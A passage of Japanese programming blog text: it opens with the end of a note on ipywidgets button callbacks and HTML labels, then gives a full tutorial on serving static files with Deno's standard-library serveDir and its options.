result_label = widgets.HTML("Result...")
display(result_label)

button.on_click(functools.partial(myfunc, html_label=result_label))

```

partial だと kwargs 形式で引数指定しないとうまく渡らないので注意ください.

## HTML 1.0 力

`<p>hello</p>` とか, `</br>` とかでよろしくやりましょう!
(CSS とか JS 使えたりするんじゃろか :thinking: )

HTML 1.0 力が試されます!
Denoで静的ファイルサーバーを3行で書く

Denoを使うと、静的ファイルサーバーを3行で書くことができます。

```ts:serve.ts
import { serve } from "https://deno.land/std@0.141.0/http/mod.ts";
import { serveDir } from "https://deno.land/std@0.141.0/http/file_server.ts";
serve((request) => serveDir(request));
```

ファイルに書き込む内容は以上です。
（tsconfigやpackage.jsonやeslintrcやprettierrcは**不要**です。）

サーバーの起動は以下のコマンドで行います。

```shell
deno run --allow-net=0.0.0.0:8000 --allow-read=. ./serve.ts
```

ブラウザから http://localhost:8000/serve.ts にアクセスすると、serve.tsのファイルが見えているはずです。

以上、Denoで静的ファイルサーバーを3行で書く方法でした。

## オプションを設定する

これだけだと記事が締まらないので、オプションの設定方法を見ていきます。

### 特定のディレクトリ以下のファイルを静的ファイルとして配信する

オプションを指定しない場合、カレントディレクトリ以下のファイルが静的ファイルとして配信されます。
プロジェクト構成によっては、、`./public/`以下に静的ファイルが格納されているかもしれません。
そういう場合は、`fsRoot`オプションにディレクトリを指定すると、そのディレクトリから静的ファイルを配信してくれます。

```ts
import { serve } from "https://deno.land/std@0.141.0/http/mod.ts";
import { serveDir } from "https://deno.land/std@0.141.0/http/file_server.ts";
serve((request) => serveDir(request, { fsRoot: "./public/" }));
```

### 特定のパスへのリクエストのみ静的ファイルを配信したい場合

`https://example.com/static/`のように、URLが`/static/`以下だった時のみ静的ファイルを配信したい場合もあります。
この時は、`urlRoot`オプションを指定すると、指定したパス以下を静的ファイルとして配信してくれます。（例えばURLが`/static/foo.html`のときは`./foo.html`の内容が配信される）

更にこれを`fsRoot`オプションと組み合わせることができます。

```ts
import { serve } from "https://deno.land/std@0.141.0/http/mod.ts";
import { serveDir } from "https://deno.land/std@0.141.0/http/file_server.ts";

serve((request) => {
  const { pathname } = new URL(request.url);
  if (pathname.startsWith("/static")) { // URLが"/static"始まりだった場合は
    return serveDir(request, {
      fsRoot: "public", // publicディレクトリ以下を静的ファイルとして配信
      urlRoot: "static",
    });
  }
  // それ以外の場合は、何らかのAPIをレスポンスする
  return Response.json({ data: "なんらかのAPI" });
});
```

### ファイル一覧ページを表示する

URLがスラッシュで終わっている場合に画像のような「ファイル一覧ページ」を表示させることができます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/678625/ca767f4d-28f1-3025-d9c9-0aeae5e718ed.png)

これをするには`showDirListing`オプションにtrueを設定します。

```ts
import { serve } from "https://deno.land/std@0.141.0/http/mod.ts";
import { serveDir } from "https://deno.land/std@0.141.0/http/file_server.ts";
serve((request) => serveDir(request, { showDirListing: true }));
```

### その他のオプション

- `enableCors`: CORSヘッダーを付けます。（trueにすると他のWebサイトからfetchなどでアクセスできます。）
- `quiet`: デフォルトではアクセスのたびにログが表示されます。これを非表示にします。
- `etagAlgorithm`: `serveDir`関数はレスポンスに自動で[Etag](https://qiita.com/OmeletteCurry19/items/a84d6a7c91df50e7dcd6)を付けてくれるのですが、このEtagを算出するアルゴリズムを指定します。

## まとめ

Denoを使うと静的ファイルサーバーが3行で書けます。

Denoではこのようなよく使うボイラープレートは一通り揃っているので、[標準ライブラリ](https://deno.land/std)や[公式サンプル集](https://examples.deno.land/)を色々探してみるといいと思います。
最近では[deno_blog](https://github.com/denoland/deno_blog)という「マークダウンファイルを作成してblog関数を呼び出すだけでブログ構築できる」というツールも公式から公開されました。Denoさえあれば何でもできる感じにどんどんなっていって、便利ですね。